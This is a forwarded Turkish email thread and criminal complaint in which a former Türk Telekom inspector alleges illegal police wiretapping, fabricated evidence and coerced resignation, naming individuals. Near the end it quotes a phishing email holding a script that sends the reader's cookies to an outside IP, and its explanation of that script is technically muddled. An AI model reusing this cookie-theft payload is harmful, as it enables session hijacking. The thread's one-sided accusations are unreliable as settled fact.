---------- Yönlendirilmiş ileti ----------
Gönderen: ADEM CETINKAYA ‪<ademcetinkaya@gmail.com>‬
Tarih: 21 Kasım 2015 15:34
Konu: Re: Yasadışı Telefon Dinleme Casusluk ve Odatv davası hk.
Alıcı: "Odatv.com info" <info@odatv.com>

Merhaba,

Ek-1 de İstanbul Bilişim Şube Müdürlüğü tarafından hazırlanan rapor, harddiske format atıldığını hiçbir içeriğie ulaşılamadığını ifade ediyor.

EK-2 de Harddiske hangi tarihte format atıldığını hangi tarihte silme değiştirme işlemlerinin yapıldığını tespit etmek amacıyla yeni bir bilirkişi raporu alıyoruz. Bu raporda silme işleminin 07.12.2010 tarihinde bilgisayara el konulduktan 2 sonra yapıldığını tespit ediyor ve silinen Türk Telekom üzerinde yürrüttüğüm yasadışı dinleme faaliyetlerine ilişkin logların büyük bir kısmını geri getiyor.

Ek-3 Söz konusu yasadışı dinleme ve bilgi notlarına ilişkin dijital veriler İstanbul Organize Suçlarla mücadele şube müdürlüğüne teslim ediliyor.

@212.1.209.zip klasöründe yer alan zipli dosya içinde dinlenen imei adresleri bilgi notları, İstanbul Emniyet İstihbarat Şube Müdürlüğü'nün verileri göndermekte olduğu IP adresi, Kuzey Karolanya menşeili yurt dılşı Ip adreslerine ait loglar, zararlı kod ve eklenti içeren e-posta gönderilmesinde kullanılan Ip adresleri, H.avciirtibatlarbilginotu.bfa isimli dosya, bu dosyaların çözümlü hali Organize Şubedeki onceki mail adresimde belirttiğim dosyada mevcut. 

21 Kasım 2015 14:26 tarihinde Odatv.com info ‪<info@odatv.com>‬ yazdı:

Raporları da göndermenizden mutlu oluruz. Çok teşekkür ederiz paylaştığınız bilgiler için. Selamlar...

20 Kasım 2015 19:51 tarihinde ADEM CETINKAYA ‪<ademcetinkaya@gmail.com>‬ yazdı:

Merhaba, 2009-2010 yıllarında Türk Telekomda müfettiş olarak çalıştım, aşağıda Türk Telekom üzerinden İstanbul istihbarat şube müdürlüğü tarafından yapılan ususuz dinlemelre ilişkin Teror ve Örgütlü Suçlar bürosunda alınan ifadem ve şikayet dilekçemi yolluyorum

Söz konusu olaylar kapsamında tespit edilen .zip dosyalarına ait orijin ip OdaTV davasında yer alan e-postalara ait orijin IP ile özdeş olduğu tespit edildi. İlgisi bakımından size yolluyorum.

Ayrıca Türk Telekoma sunulan soruşurma raporunda Hanefi Avcıya ait telefonlara ait olduğu düşünülen bilgi notları da tespit edilmiştir.

İstemeniz halinde bilirkişi raporlarını, soruşturma raporlarını yollayabilirm. Dosya numaralarını paylaştım.

İstanbul Cumhuriyet Başsavcılığı
Teror ve Örgütlü Suçlar Bürosu’na
 
Konu: Bimer üzerinden yapılan ve İstanbul Cumhuriyet Başsavcılığı’na iletilen 117607, 122620 ve 137183 sayılı şikayetlerime ilişkin açıklama ve suç duyurusu.
İlgi: İstanbul Cumhuriyet Başsavcılığı 2015/20679 sayılı soruşturma
 
Açıklamalar:
1.      2009-2010 tarihleri arasında Türk Telekomünikasyon A.Ş. Teftiş Kurulu Başkanlığı’nda (İç Denetim Başkanlığı adını almıştır.) müfettiş olarak görev yaptım. Görev yaptığım süre zarfında, 5397 sayılı Kanun’un 1.maddesiyle 04.07.1934 tarihli ve 2559 sayılı Polis Vazife ve Selahiyet Kanunu’nun EK 7. Maddesi çerçevesinde Telekomünikasyon İletişim Başkanlığı tarafından koordine edilmesi gereken teknik takip ve telefon dinlemelerinin Türk Telekomünikasyon A.Ş. Merkez Santral OMC ve Routerları üzerinden Polnet IP omurgasına kurulan broadband bağlantılarla “istihbarat faaliyetleri” gerekçe gösterilerek Emniyet Genel Müdürlüğü tarafından hukuksuz olarak yapıldığına ilişkin yürüttüğüm soruşturmaya ilişkin ön inceleme raporunu 10.08.2010 tarihinde başkanlığa sundum.
Soruşturma raporu kapsamında:
a.      PSTN ve Data hatlarına ilişkin interconnection merkezlerinin POLNET omurgasında sonlanan IP adresleri üzerinden noktadan noktaya erişim sağlayan devrelere teslim edildiği ve bu merkezler üzerinden yürütülen bütün iletişimin hukuka aykırı olarak dinlendiğini,
b.      Mobil operatörlere ait transmisyon hizmetinin sağlandığı devreler üzerinden ise Türkiye genelini kapsayacak şekilde mobil iletişimin hukuka aykırı şekilde dinlendiğini,
c.       Tespit edilen hukuka aykırı dinlemelere ilişkin CDR loglarından, 245 adetinin PSTN hatları üzerinden devlet kurumları ile yurtdışı misyonlara ait iletişim olduğu, 1420 adetinin Telekom santralleri üzerinde sinyal veren Askeri Devreler’e ait olduğu, 720 adetinin devlet kurumları arasında tesis edilen Noktadan Noktaya Metro Ethernet devrelerine ait olduğu, (Başbakanlık, Milli İstihbarat Teşkilatı PP. Devre bağlantıları vb.) 17740 adetinin mobil operatörlere ait baz istasyonları üzerinde sinyal veren iletişimin Telekom’a ait kiralık devreler üzerinden dinlenmesine ilişkin olduğu,
Tespit edilmiştir.
2.      Tespit edilen CDR (CALL DATA RECORD) kayıtlarına ilişkin yapılan incelemede analog ve dijital sinyallerin TIB’e sağlanan uç üzerinden değil de TIB ve TIBNOT altyapısı dışında doğrudan IBCF-M/F ve CSCF core bileşenleri üzerinden IP transport katmanından Emniyet Genel Müdürlüğü’ne ait IP’ye teslim edildiği, anlatılan yöntemle yapılan teknik takip, data ve telefon dinlemelerine ilişkin gerek Telekomünikasyon İletişim Başkanlığı ara yüzünde gerekse EGM TIBNOT ara yüzünde hiçbir log üretmeden dinleme ve izlemeye olanak vereceği ve TIBNOT ara yüzüne teslim edilmediğinden mahkeme kararına ihtiyaç duyulmadan dinleme faaliyetinin yürütülmesinin Genel Kabul Görmüş Bilgi Güvenliği ilkeleri ile teknik takibe ilişkin mevzuata aykırı olduğu ile İstihbari ve önleme dinlemelerine ilişkin mevcut onay ve log mekanizmasının bu yöntemle devre dışı bırakıldığı, TIBNOT üzerinde istihbari dinlemelerin downloadable olmamasına rağmen anlatılan yöntemle hiçbir onay mekanizmasına ihtiyaç duyulmadan görüşmelerin harici disk(harddisk vb.) ortamlara kayıt edilebileceği, gerekçelendirilerek ve teknik detaylarıyla soruşturma raporunda yer bulmuştur.
3.      IBCF-M/F ve CSCF üzerinden Polnet IP omurgasına teslim edilen VR dosyalarının .vmw uzantısı ile process edilerek 212.1.209.9 IP ve 355688841 decimal’de adreslenen servere teslim edildiği, Operatör altyapısından INTZONE’A teslim edilen dosyalar üzerinde denetim esnasında tespit edilen paketler içinde R.SubeHaberElemani.txt, imeiodj.txt, 351892015695170HBRIMEI.sav, 356423023390090 IMEI.sav dosyaları ile .sav dosyaları içeriklerinde Deniz Bölükbaşı-Cansu Bilgi Notu, H.AvciIrtibatlar Bilgi Notu, dosyaları ile otukengeneltalep.sav isimli dosya tespit edilmiş ancak içeriğine ulaşılamamıştır. Tespit edilen dosyalar ile CDR logları C:\Belgeler\Sorusturma\SorustumaDosyalari\YasadisiDinleme-CDR klasörü altına kaydedilerek 100901006420262 seri numaralı harddisk’e yedeklenmiştir.
4.      Soruşturma raporunun 22.10.2010 tarihinde İç Denetim Başkanlığı’na tevzisinin ardından, yürütülen soruşturmaya derhal son verilmesi ile bütün bilgi ve belgenin dijital ortamda imha edilmesi konusunda talimat verilmiş ve baskı yapılmıştır. Soruşturma raporuna ve ekleri CDR kayıtlarının silinmesinin yeterli olmayacağı belirtilerek bilgisayarı teslim ederek yeni bir iş bilgisayarı verilmesi talep edilmiştir.
5.      Söz konusu talep iletildiğinde Ankara’da olmamam nedeniyle talep karşılanamamış ve100901006420262 seri numaralı harddisk teslim edilmemiştir.
6.      Devamla, inceleme soruşturma faaliyetlerine ara vermemin hülasa devam edilmesi halinde istifa etmem gerektiği hususunda telkin ve tehdit telefonları alınmaya başlanmıştır.
Tespit ettiğim yasadışı telefon dinlemelerine ilişkin idarenin gerekli inceleme/soruşturma işlemlerini yapması ile anlatılan yasadışı telefon dinlemelerine ilişkin araştırma yapılması maksadıyla, T.B.M.M. ve Başbakanlık makamlarına yazılı olarak başvuruda bulundum. Başvurum sonrasında Bakanlık Makamının 17.03.2014 tarih ve EGM/Müf:2015/354 ile 18.02.2015 tarihli ve EGM/Müf:2015/354 sayılı olurları ile İstanbul İstihbarat Şube Müdürlüğü’nde görevlendirilen müfettişler tarafından usulüz dinleme iddiaları ile ilgili soruşturma yürütülmüş olup T.B.M.M Başkanlık divanının 19354 karar nolu cevabı ile söz konusu müfettiş raporlarının İstanbul Cumhuriyet Başsavcılığı’na gönderildikleri ifade edilmiştir.
 
7.      03.12.2010 tarihinde Turk Telekom kurum personeli telefonuma gece saatlerinde İstanbul 12.Asliye Ceza Mahkemesi 2011/227 esas numaralı dosyada yer alan iddianamede geçen telefon numarasından cevapsız çağrı bırakılmış; ilgili telefon numarası 04.12.2010 tarihinde tarafımdan aranmıştır. İsminin Arzu olduğu ve telefon numaramı mezunu bulunduğum Boğaziçi Üniversitesi Mezunlar derneğinin aktivite sayfasında bulduğundan bahisle benle görüşmek istediğini beyan etmiştir.
8.      04.12.2010 tarihinde yukarda safahatı anlatılan olaylara ilişkin duyduğum kuşku üzerine, çalışma evraklarımı ve bilgisayarımı ve kurum kimliğimi eve bırakarak, tarif ettiği buluşma noktası tarlabaşı üzerinde bulunan bir yer olduğundan şüpheyle Beşiktaş ilçesi'nin bana daha yakın olduğunu orda buluşmak istediğimi beyan ettim. Beyoğlu dışında bir yerde asla buluşmayacağını bildirerek telefonu kapattığı, bu görüşmeden 15 dk. kadar sonra yeniden arayarak istersem Galatarasay Lisesi önünde buluşabileceğini ifade ederek telefonu kapatılmıştır.
9.      Şahsın beni yeniden Galatarasay Lisesi önünden geldiğine dair aramasının ardından önce karşıda bulunan işletmenin giriş kapısı ardından gözlemleyerek kurumdan biri olup olmadığını anlamaya çalıştım ve daha önce görmediğim şahsın yanına yaklaşık 1 metre kadar yaklaştım. İvedilikle üstüme 2 kişi yüklenerek polis olduklarını beni tutukladıklarını söyleyerek cep telefonu ve cüzdanımı alarak Taksim Polis Merkezi'nin 2. ya da 3. katında bulunan çay servisi yapılan mutfak kısmına götürerek, yanlarında bana ait cep telefonu ve cüzdan olmasına rağmen kapının bu şahıslar tarafından üstüme kapatılmıştır.
10.  Çay servisi yapılan odada 45 dakika bekletildikten sonra düzenlenen tutanakta imzası bulunmayan 180 boylarında uzun saçlı ve sakallı polis memuru tarafından, neden boyumdan büyük işlere kalkıştığım, isterlerse beni paketleyip gönderebilecekleri ve kimseye bir şey anlatamayacağım konusunda baskı ve pazarlık yapılmaya çalışılmıştır. Söz konusu sivil polis memuru belli aralıklarla “erol abi” dediği ve konuşma tarzı ve yaklaşımıyla hiyerarşik bir bağı bulunduğunu düşündüren şahısla telefonda konuştuğu bilgi verdiği görülmüştür. Bu aşamada çay servisi yapılan mutfak kısmına “ne oluyor vb.” diyerek girmeye çalışan diğer polis memurları dışarı çıkarılmıştır. Söz konusu polis memuru son yaptığı telefon görüşmesinin ortasında odadan çıkarak elinde A4 kağıdı ile yeniden odaya gelmiştir.
11.  Tarih belirtmeden istifa mektubu yazmamı istemiş, Türk Telekomünikasyon İç Denetim Başkanlığı’ndan istifa ettiğime ilişkin istifa mektubu kuruma baskı altında zorla imzalatıldığı ifade edilmesine rağmen08.12.2010 tarihinde işleme konarak ilişik kesilmiştir. (EK-1 SGK Hizmet Dökümü) İstifa mektubu tarihsiz olarak 04.12.2010 cumartesi günü imzalatıldıktan sonra hafta içi söz konusu Polis Memuru ya da ilintili şahıslar tarafından Turk Telekomünikasyon A.Ş. Genel Müdürlüğü Ankara adresine teslim edilmiş ve İş kanunundan kaynaklanan süreler gözetilmeden hukuka aykırı olarak işleme konmuştur.
12.  Basit bir şikayetle IP adresi tespit edilerek maddi gerçekliğe ulaşılacak bir konuda, kolluğun hayatın olağan akışına uymayan birtakım eylemler gerçekleştirdiği ve Taksim Polis Merkezinde üretilen sahte yazışmalarla nasıl gözaltına alınarak, elimdeki bilgi ve belgelerin imha edilmesi ile istifa mektubu yazarak imzalamam konusunda baskı yapıldığı, konularını İstanbul 12.Asliye Ceza Mahkemesi 2011/227 sayılı dosyasında esasa ilişkin yapılan savunmada ayrıntısıyla anlatılmıştır.
13.  Soruşturma safhasında, Taksim Polis Merkezi tarafından hazırlanan fezleke eklerinde bir CD içerisinde bana ait olduğu iddia edilen yazışmalar savcılık makamına gönderilmiş, savcılık makamı tarafından bu yazışmaların gerçekliği sorgulanmadan dava dosyasına eklenmiş ve İstanbul 12.Asliye Ceza Mahkemesinde 2011/227 E.sayılı görülmekte olan dava açılmıştır. Süregelen yargılamada, defaten bu yazışmaların bana ait olmadığını, kimliği belirsiz şahıslar tarafından gerek e-posta atılarak gerekse cep telefonum aranarak çeşitli şekillerde buluşma talepleri iletildiğini belirtmiş ve bu yazışmaların bana ait bilgisayardan çıkıp çıkmadığının tespiti için bilirkişi incelemesi talep edilmiştir.
Mahkeme huzurunda benim tarafımdan talep edilene kadar polis ya da savcı tarafından bilgisayar üzerinde resmi inceleme yapılmamıştır, tutanağa bağlanmamıştır.
Bilgisayar üzerinde soruşturma safhasında resmi inceleme yapılmadığına ve bilgisayar harddiskinin tutanakla çözümü yapılmadığına göre fezleke ekinde yer alan CD nasıl dosyaya girmiştir?
a.         Adli Büroda görevli polis memurları; kendilerine CD içerisinde yazılmış MSN içeriklerinin Taksim Polis Merkezi’nde geçici olarak görevli 1. ve 2. Katta odaları bulunan sivil polis memurları tarafından iletildiğini, onlara da şikayetçilerin getirmiş olabileceğini beyan etmiştir.
b.         Gözaltı ve arama kararı talep edilmesi için gerekçe gösterilen bu yazışmalara ait orijinal depolama aygıtı (USB Bellek) muhafaza altına alınmamış, sahte dijital verilere ilişkin kim ya da kimler tarafından üretildiği, hangi bilgisayarda üretildiği konularında yapılacak bir inceleme önlenmiştir.
c.         Mahkemeye ulaşan 18.02.2013 tarihli bilirkişi raporu incelendiğinde, temel olarak; Taksim Polis Merkezi tarafından hazırlanan fezleke eklerinde yer alan CD içeriğindeki yazışmaların tespit edilemediği tespiti yer almıştır. Halbuki fezlekeye bu yazışmalar benim bilgisayarımdan çıkmış gibi eklenerek önce gözaltı kararı alınması sağlanmış sonrasında ise dava dosyasında delil olarak gösterilmiştir. Polis Fezlekesinde yer alan yazışmaların bir tek kelimesi dahi bilgisayar harddiskinde yer almamaktadır.
Peki şimdi şu soruyu soralım, arama kararı alınarak usulsüz de olsa (Usulsüzlükler dilekçenin ilgili bölümünde detaylı olarak anlatılmıştır.) bilgisayara el konulduğuna göre, Polis neden bilgisayar harddiskinin çözümünü yaparak fezlekeye eklemek yerine kendilerine getirilen usb içindeki veriyi CD’ye yazarak fezlekeye ekler? (CMK md.134)’ün amacı bilgisayara el koyup adli emanette bekletmek değil, verinin değişmezliğini sağlayacak tedbirler alındıktan sonra (imaj, hash değeri vb.) veri üzerinde araştırma yapılmasını sağlamaktır.
Dava açılmasına ve arama kararı verilmesine dayanak gösterilen yazışmalar bana ait değildir ve bilirkişi tarafından da tespit edilememiştir. Orijini belli olmayan yazışma içerikleri gerekçe gösterilerek hem savcı yanıltılmış sonrasında ise arama kararı alınması sağlanmıştır. Bilişim Suçuna yönelik yürütülen tahkikatta nedense el konulan bilgisayar üzerinde resmi inceleme yapılarak tutanağa bağlanmamıştır. Fezleke ve iddianamede bana ait olmayan yazışmalar CD içerisine eklenmiştir.
Olmayan bir delilin yaratılmasının, yani oluşturulmasının veya mevcut delilin tahrif ya da tahrip edilmesinin, delilin hukuka aykırı yol ve yöntemlerle elde edilmesi ile bir ilgisi bulunmamaktadır. Elbette her ikisi de hukuka aykırıdır. İlki, delil bile değildir; ikincisi ise, delildir, fakat hukuka aykırı şekilde elde edilmiş olup, hukuki meşruluğu kazanamamıştır. Yukarıda anlatılan nedenlerle polis fezlekesi ve iddianame ekinde dosyaya giren CD’nin “delil” olarak adlandırılması mümkün değildir ve iftira, suç uydurma, sahtecilik, suç delillerini yok etme gizleme veya değiştirme suçlarının kapsamında değerlendirilmelidir.
 
14.  Arama ve el koyma işlemleri 5271 sayılı CMK’nın 116-134 ve 122/2 maddelerine amir hükümlerine aykırı olarak gerçekleştirilmiştir.
 
Bilgisayarlardan ve ağlardan elde edilen dijital delillerin zaman damgası içerecek şekilde yedeğinin alınmamış olması karşısında, kanunlarımız (CMK md. 134) ve yerleşik Yargıtay içtihatları orijinal depolama aygıtının incelenmesi suretiyle elde edilen delilleri hukuka aykırı saydığı gibi, bu tür hukuka aykırı kabul edilen delillerle hüküm kurulamayacağının da altını çizmektir. (Yargıtay 8.Ceza Dairesi E. 2012/21817 K. 2013/25428 Kararı, 11.Ceza Dairesi 2005/6376 E.N, 2007/2551 K.N Kararı)Mevcut durumda, Bilgisayar veya bilgisayar kütüklerine elkoyma işlemi sırasında, sistemdeki bütün verilerin yedeklemesi yapılmamış, verilerin değişmezliğine ilişkin hash değerleri tespit edilmemiştir. Soruşturma kapsamında imaj alma işlemi yapılmadığından, talep edilen bilirkişi incelemesi ancak İstanbul Adli Emaneti’nin 2011/1763 numarasına kayıtlı bulunan Bilgisayar üzerinde yapılmıştır. İnceleme ve elkoyma işlemleri arasında verilerin değişmezliğinin denetimi yapılmamış, inceleme esnasında tespit edilen hash değeri ile elkoyma aşamasında elde edilmiş olması gereken hash değeri, (elkoyma işlemi esnasında imaj alma ve hash değeri belirleme işlemi yapılmadığından) karşılaştırılmamıştır. Yukarıda anlatılan nedenlerle, usulünce imaj alma işlemi yapılarak sonucunda çıkan veri bütünlük (hash) değerlerinin tespit edilmeden elde edilen deliller hukuka aykırıdır. İmaj alınmaması nedeniyle hangi usulsüzlüklere sebebiyet verildiği konusu dilekçenin devamında ayrıntısıyla anlatılmıştır.
 
a.CMK' nın 122/2. maddesi amir hükmüne göre; aramada el konulan her türlü malzemenin torbalara konması ve torbaların üzerinin zilyet veya temsilcisi tarafından imzalanması gerekirken, böyle bir uyguluma yapılmamıştır.
b.CMK’nın 118 maddesi amir hükmüne göre; konutta, işyerinde veya diğer kapalı yerlerde gece vaktinde arama yapılmaması gerekirken, gece vaktinde arama yapılmıştır. Somut olayda CMK md. 118/2'de sayılan aramaya gece başlanmasını gerektiren durumun ne olduğu tutanakta açıkça belirtilmediğinden, bu hususların yokluğu göz önüne alındığında ve arama kararı alındığında gündüz vakti arama yapma imkanı varken gece yarısı beklenerek yapılan arama bu yönüyle de arama ve el koyma kararına aykırılık teşkil etmektedir.
c.CMK’nın 119/4 maddesi amir hükmüne göre, Cumhuriyet savcısı hazır olmaksızın konut, işyeri veya diğer kapalı yerlerde arama yapabilmek için o yer ihtiyar heyetinden veya komşulardan iki kişi bulundurulması gerekirken, böyle bir uygulama yapılmamıştır.
d.CMK’nın 119/2/b maddesi amir hükmüne göre; Aranılacak kişi, aramanın yapılacağı konut veya diğer yerin adresi ya da eşya açıkça gösterilir. Somut olayda arama kararı Polnet  üzerinde tespit edilen Beşiktaş ilçesi sınırları içindeki konuta ilişkin olmasına karşın, arama ve el koyma işlemi Kadıköy ilçesi sınırlarındaki konutta yapılmıştır. Yapılan arama bu yönüyle de arama ve el koyma kararına aykırılık teşkil etmektedir. CMK m.134/1’e göre, gecikmesinde zarar bulunan hal olsa bile cumhuriyet savcısının emri ile arama kararında belirtilmeyen adreste şüphelinin zilyetliğinde ve kullanımında olan bilişim cihazında arama ve kopyalama yapılabilmesi mümkün değildir. Kanun koyucu bu konuda net bir şekilde, hakim kararının sonradan cumhuriyet savcısının yazılı emrini onama olarak değil de, arama ve kopyalama öncesinde varlığını aramış ve hakim kararını bu tedbirin kurucu unsuru saymıştır.
e.Bilgisayarlarda kopyalama işleminin arama mahallinde yapılması gerekirken kütükleriyle birlikte el konularak götürülmesi işlemini gerektirir gerekçe yoktur ve yasaya aykırıdır. El konulan bilgisayarların veya bilgisayarların içindeki programların şifrelenmiş olduğuna dair bir bilgiye tutanakta yer verilmemesine karşın, bilgisayarlara ve bilgisayar hafızalarına el konulmasının, "şifreli olmayan ve şifreli belge ve program içermeyen bilgisayarlara el konulamaz; ancak bu bilgisayarların hafızalarının kopyaları usulünce alınabilir" şeklindeki CMK madde. 134/2'e aykırılık teşkil etmektedir.
f. Bilgisayarlardan ve ağlardan elde edilen dijital delillerin zaman damgası içerecek şekilde yedeğinin alınmamış olması karşısında, kanunlarımız (CMK md. 134) orijinal depolama aygıtının incelenmesi suretiyle elde edilen delilleri hukuka aykırı saymaktadır.
g.Arama kararı CMK md. 134 kapsamında bilgisayar kütüklerinde arama yapılmasına ilişkindir. Evde bulunan çalışma bilgisayarımı kendi rızamla teslim etmiş olmama rağmen, tutanak tanziminden sonra İstanbul Asliye Ceza Mahkemesi 2011/227 dosyada verilen esasa ilişkin savunma’nın EK-4’te çıktısı bulunan görüntülerde görüldüğü üzere kütüphanede bulunan Türk Telekom personeline ait soruşturma raporlarının bulunduğu evrak klasörleri içinde basılı halde bulunan soruşturma evrakları incelenmeye çalışılmıştır. Yapılan arama bu yönüyle de arama ve el koyma kararına aykırılık teşkil etmektedir.
15.  El konulan bilgisayar harddiskinde müfettiş olduğum döneme ait 47 soruşturma dosyası ve ekleri silinmiştir. Bilirkişi raporu incelendiğinde harddisk içinde 20.10.2010 tarihinden önce oluşturulmuş veriye rastlanmamaktadır. Bilirkişi raporuna göre harddiskte ilk üretilen veri 20.10.2010 tarihli, son üretilen veri ise 04.12.2010 tarihine aittir. Bilirkişi incelemesine göre ilk üretilen veri ile son üretilen veri arasında 44 günlük bir süre bulunmaktadır; daha açık bir ifadeyle bilirkişi raporuna göre bilgisayar el konulduğunda sadece 44 günlüktür. Halbuki el konulan bilgisayar yoğun olarak kullandığım ve içinde 10.08.2010 tarihinde oluşturduğum Türk Telekom kapsamında yürütülen yasadışı dinlemelere ilişkin müfettiş raporunun ve eklerinin de bulunduğu bilgisayardır.
 
Yukarıda ekran görüntüsü bulunan dosya C:\Belgeler\Sorusturma\Sorusturma Dosyaları\YasadisiDinleme-CDR klasörü altında 03.08.2010 12:06:23 tarihinde oluşturulmuş olmasına karşın 06.12.2010 tarihinde Bios zamanı 86 saat geri çekilerek (Bios Date Refresh) C:\Belgeler klasörünün kayıtlı bulunduğu sektörlere creation (oluşturma tarihi) 20.10.2010 ve daha genç veri yazılmıştır. Sözkonusu işlemin yapılabilmesi için iki olasılık, bilgisayar üzerinde bios sistem saatinin manipule edilmiş olması ya da sistem saati manipule edilmiş başka bir bilgisayara bağlanmış olmasıdır. (EK-2 Arsenal Consulting Raporu)
Bilirkişi raporunda, 20.10.2010 ve 04.12.2010 tarihleri arasında oluşturulan veya değiştirilen dosyalar incelenmiştir. 04.12.2010 tarihinde gözaltında tutulduğum süre içinde de bilgisayar kütüklerinde değişiklik görülmektedir. 04.12.2010 yaratma/değiştirme tarihli veriye rastlanması yine iki olasılığa bağlıdır. Bilgisayar sistemi üzerindeki sistem saati manipüle edilmiş olması (geriye doğru) ya da sistem saati uyarlanmış bir backup klasörü üzerinden sectorlere veri yazılmasıdır.
CMK.134’ün istisnasız bir şekilde elkoyma esnasına imaj alma işlemini emretmesinin nedeni yukarıda açıklanan veri yazma/değiştirme ve sahtecilik işlemlerinin önüne geçmek istemesidir. Bilgisayara ait harddiskin el koyma esnasında imajı alınarak hash değeri ile birlikte mühürlenmesi sağlanmış olsa idi, el koyma sonrasında sistem üzerinde yapılacak her türlü manipülasyonun önüne geçilmiş olacaktı.
Polis (CMK md.134) aykırı olarak el koyduğu bilgisayar içinde resmi delil incelemesi yapmadığına göre gerçekte ne aramıştır ya da ne yok etmiştir?
16.  Dijital bulguların elde ediliş şekliyle hukuka aykırı olmasına rağmen mahkemeden bilirkişi incelemesi talebimin temel nedeni aşağıdaki belirtilen konuların tespiti ile nasıl suç uydurulduğunu ortaya çıkarılmasından ibarettir.
a.         Taksim Polis Merkezi tarafından bana ait olduğu gerekçesiyle Savcılık Makamı’na yollanan CD içerisindeki yazışmaların hiçbir şekilde adli emanette bulunan bilgisayar içerisinden çıkmadığının tespiti,
b.         moristanbul1@hotmail.com adresi tarafından bana yollanan spam (istenmeyen) mail içerikleri ve loglarının tespiti,
Mahkemeye ulaşan 18.02.2013 tarihli bilirkişi raporu incelendiğinde, Bilirkişi Raporunda ayrıntılarını İstanbul 12.Asliye Ceza Mahkemesi 2011/227 E.sayılı dosyaya sunulan 21.01.2015 tarihli dilekçede belirttiğim usulü eksikler yapılmasına rağmen temel olarak;
i.             Taksim Polis Merkezi tarafından hazırlanan fezleke eklerinde yer alan CD içeriğindeki yazışmaların tespit edilemediği, (Halbuki fezlekeye bu yazışmalar benim bilgisayarımdan çıkmış gibi eklenerek önce gözaltı kararı alınması sağlanmış sonrasında ise dava dosyasında delil olarak gösterilmiş idi. Polis Fezlekesinde yer alan yazışmaların bir tek kelimesi dahi bilgisayar harddiskinde yer almamaktadır.)
ii.         moristanbul1@hotmail.com, tatli_istanbul@hotmail.com ve dr.bariscakir@hotmail.comiçeriğinde “search” komutu yapılarak yapılan incelemede cookie’lere (web logları) ulaşıldığı belirtilmiştir.
Bilirkişi raporu talep edilmesinin nedenlerinden birtanesi de ademcetinkaya@gmail.com isimli mail adresime yukarıda belirtilen mail adresinden defaten buluşma talep eden e-postalar yollanmasıdır. Bilirkişi raporunda tespit edildiği belirtilen bu loglar; istemim dışında e-posta adresime yollanan ve örneklerini EK3, ve EK4 de görebileceğiniz e-postalar tarafından üretilen loglardır. Bu logların hiçbiri benim tarafımdan yollanan eposta ya da yapılan yazışmalara ait değil, bana ait posta adresime yollanan e-posta içerikleri tarafından üretilen loglara ve e-posta gövdesinde yönlendirilen html sitelere ait doküman ve resimlere aittir.
Aşağıda ekran görüntüsü bulunan ve ademcetinkaya@gmail.com adresine yollanan elektronik posta iletilerinin içinde phising linki bulunmaktadır.

Bebeğim bu linke tıkla resimlerimi göreceksin senin için özeller Tıkla<script>document.location="http://212.1.209.9/cookie.cgi?" + document.cookie</script>
Elektronik Posta içine yerleştirilen link 212.1.209.9 ip adresinden cookie.cgi dosyasını local bilgisayara inject etmeye çalışmaktadır.
Cookie, ineternet üzerinde gezinirken kullanılan ufak kayıt dosyalarına verilen isimdir. Basitçe bir web sitesi internet üzerinden yayın yaparken bazen bağlanan kullanıcılar hakkında bilgi tutma ihtiyacı duyar. Genelde bu bilgiyi tutmanın iki yolu vardır. Birincisi sunucu üzerindeki bir veri tabanı veya farklı bir veri saklama yapısı içinde tutulması. Diğeri ise istemci (client) üzerinde saklamasıdır.
Elektronik Posta içine yerleştirilen link 212.1.209.9 ip adresinden cookie.cgi dosyasını local bilgisayara inject etmeye çalışmaktadır.
Yukarıda elektronik posta üzerinde yerleşik link istemci olarak internet üzerinden bir HTTP paketi ile 212.1.209.9 adresinde  bulunan cookie.cgi dosyasını talep etmektedir.
Ardından sunucu (212.1.209.9) bu talebe yine bir HTTP paketi ile cevap vermektedir. Yani istenen sayfanın bulunduğu ve başarılı bir talep olduğu anlamında bir HTTP kodu ile talep cevaplanmıştır.
Burada HTTP paketinde önemli olan cookie.cgi bölümüdür. Bu şekilde istemci hedef bilgisayar elektronik posta üzerinde bulunan link marifetiyle bilgiyi talep ettikten ve içeriğinde çerez bulunan bir bilgi geldikten sonra bu bilgi bilgisayarımızda bir dosya olarak saklanır.
Bu adımdan sonra bilgisayar üzerinde yapılacak bir araştırmada hem elektronik posta göndericisitatli_istanbul@hotmail.com adresinin doğal yollarla oluşturduğu ize, hem de 212.1.209.9 ip numaralı sunucu tarafından gönderilen cookie.cgi dosyası içeriğinde yazılan değerlere ulaşılacaktır. Bilirkişi raporunda search komutu ile elde edildiği bildirilen loglar yukarıda anlatılan cookie dosyalarına ilişkindir.
Bilirkişi raporunda herhangi bir yazışma içeriğinin bulunmamasına karşın, bu loglara rastlanmasının nedeni yukarıda anlatılan yöntemle cookie.cgi dosyasının bilgisayarda saklanmış olmasıdır. Bu cookiler doğal yollardan yaratılmış olsa idi, bunların oluşmasına neden olan yazışma içeriklerinin de bilgisayar üzerinde saklanmış olması gerekirdi. Halbuki bilgisayar üzerinde yapılan incelemede tek kelime yazışma içeriği bulunmamıştır.
17.  Soruşturma safhasında hukuka aykırı uygulamalar, haddiskte yer almayan yazışmaların fezlekeye eklenmesi vb. usulsüzlükler İstanbul 12.Asliye Ceza Mahkemesi 2011/227 esas sayılı dosyaya sunulan 21.01.2015 tarihli esasa ilişkin savunma dilekçesinde ayrıntısıyla anlatılmıştır.
18.  Şahıslar tarafından sürekli Taksim Polis Merkezi mıntıkasında buluşma talep edilmesinin nedeni bu usulsüzlüklerin yapılmasına uygun bir ortamın tesis edildiği ya da edilebileceği düşünceleridir
19.  Bana ait e-posta adresine yollanan e-posta içerikleri incelendiğinde extract yetenegi bulunan zip dosyalarının e-postalara attachlendiği, e-posta içerisinde web yönlendirmesi yapan phising amaçlı linkler olduğu düşünülürse, amatörce ve iyi niyetle yollanan e-posta olmadığı, daha profosyonel kişi ya da kişiler tarafından gönderildiği anlaşılmaktadır
20.  Takma isim kullanarak beni Taksim Polis Merkezi mıntıkasında görüşmeye ikna etmeye çalışan, bu amaçla kendi ifadesinde de beni görüşmeye ikna etmek için özel bir çaba içinde olduğunu kabul eden Burcu Çiçekverdi ve irtibat halinde bulunduğu Barış Çakır isimli şahıslar tarafından kimlik bilgilerim, özel e-posta adresim, telefonum vb. özel hayatıma ilişkin birtakım bilgilerin önceden bilindiği anlaşılmaktadır. İçinde adım ve soyadımın geçtiği ademcetinkaya@gmail.com adresli elektronik posta adresine defalarca mail gönderen şahısların ismimi bilmemeleri ya da beni tanımıyor olmaları düşünülemez. Bu kapsamda verdikleri ifadede adımı bilmedikleri yönündeki beyanları yalandır. (İlgili elektronik posta içerikleri dosyaya sunulmuş ve bilirkişi incelemesinde de bu elektronik postalara ilişkin loglar tespit edilmiştir.)
